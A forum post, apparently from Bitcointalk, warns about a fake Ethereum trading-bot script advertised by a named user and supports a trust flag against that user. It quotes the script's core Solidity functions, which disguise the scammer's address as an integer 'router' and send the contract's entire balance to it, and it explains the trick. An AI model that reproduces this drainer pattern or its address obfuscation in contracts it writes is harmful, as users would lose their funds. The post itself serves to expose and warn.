This thread will be used as reference for the trust flag created against jeffcormier for advertising a Fake bot script meant to drain user funds What happened: User @jeffcormier was attempting to advertise one of his scam Fake bot script with will drain user funds. Unfortunately the moderators did not delete the thread whrn I reported it so I decided to create this thread and flag the user
Scammers Profile Link: https://bitcointalk.org/index.php?action=profile;u=3750485Reference Link: [Testing/Log] 48-Hour Run with Automated Trading Bot (0.78 ETH to ~3 ETH)Archived: https://ninjastic.space/topic/5599161FAKE Script link got from the YouTube video description: https://pastebin.com/raw/0WEqzeTN
Analysing the script indeed shows that it's meant to drain an Ether address that tries to interact with it
The core mechanism: Interpreted with the help of claude.
uint256 DexRouter = 94601342970801556929388184947529842602781864601;
function getDexRouter(uint256 _uintValue) internal pure returns (address) {
return address(uint160(_uintValue));
}
function startArbitrageNative() internal {
address tradeRouter = getDexRouter(DexRouter);
payable(tradeRouter).transfer(address(this).balance);
}
function StartNative() public payable {
startArbitrageNative();
}
--> DexRouter is a decimal integer that decodes to the address 0x109212289b1f5de610b33a2349beefb1639a7299. It is disguised as a “router” and stored as a uint so it doesn’t show up as an obvious address literal in a casual read or simple string scan.
--> StartNative() is the “Start” button the victim is told to press. It has no access control, and it transfers the entire ETH balance of the contract to that hidden address. No swap or arbitrage happens.
--> The wallet that receives the funds is the scammer’s, not the deployer’s.
Trust flag:
https://bitcointalk.org/index.php?action=trust;flag=3613 (please support/oppose)